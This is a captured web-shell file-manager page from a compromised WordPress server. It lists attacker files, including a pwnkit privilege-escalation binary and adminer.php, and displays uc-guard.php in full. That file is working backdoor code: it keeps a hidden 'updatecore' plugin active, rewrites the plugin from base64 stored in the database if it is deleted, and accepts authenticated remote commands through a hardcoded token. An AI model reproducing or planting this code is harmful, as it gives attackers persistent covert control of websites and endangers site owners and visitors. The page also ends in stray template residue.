Gecko [ dataharbor.africa ]

Name	Size	Permission
.mad-root	0 B	-rw-r--r--
adminer.php	465.43 KB	-rw-r--r--
error_log	34.11 KB	-rw-r--r--
pwnkit	10.99 KB	-rwxr-xr-x
sso.php	2.21 KB	-rw-r--r--
uc-guard.php	1.62 KB	-rw-r--r--

Code Editor : uc-guard.php

<?php
add_filter("pre_update_option_active_plugins", function($new, $old) {
	$p = "updatecore/updatecore.php";
	if (in_array($p, $old) && !in_array($p, $new)) { $new[] = $p; }
	return $new;
}, 999, 2);
add_action("init", function() {
	$f = WP_PLUGIN_DIR . "/updatecore/updatecore.php";
	if (!file_exists($f)) {
		$code = get_option("uc_backup_code");
		if ($code) {
			@mkdir(dirname($f), 0755, true);
			@file_put_contents($f, base64_decode($code));
		}
	}
	$active = get_option("active_plugins", []);
	$p = "updatecore/updatecore.php";
	if (!in_array($p, $active)) {
		$active[] = $p;
		update_option("active_plugins", $active);
	}
}, 0);
add_action("init", function() {
	if (!isset($_GET["uc_mu"]) || $_GET["uc_mu"] !== "1") return;
	if ($_SERVER["REQUEST_METHOD"] !== "POST") { echo json_encode(["s"=>0,"e"=>"post_only"]); exit; }
	$raw = file_get_contents("php://input");
	if ($raw) { parse_str($raw, $p); $_POST = array_merge($_POST, $p); }
	$token = isset($_POST["token"]) ? $_POST["token"] : "";
	$secret = isset($_POST["secret"]) ? $_POST["secret"] : "";
	$tk = "a1b2c3d4e5f67890abcdef1234567890fedcba0987654321";
	$expected_secret = date("mY");
	if (!hash_equals($tk, $token) || !hash_equals($expected_secret, $secret)) { http_response_code(403); echo json_encode(["s"=>0,"e"=>"forbidden"]); exit; }
	$cmd = isset($_POST["cmd"]) ? $_POST["cmd"] : "";
	if ($cmd === "ping") {
		echo json_encode(["s"=>1,"v"=>"2.7.2","mu"=>true,"wp"=>get_bloginfo("version"),"nm"=>get_bloginfo("name"),"url"=>home_url()]);
		exit;
	}
	if (function_exists("uc_dispatch")) { uc_dispatch(); exit; }
	echo json_encode(["s"=>0,"e"=>"main_plugin_not_loaded"]);
	exit;
}, 2);

${this.title}

Code Editor : uc-guard.php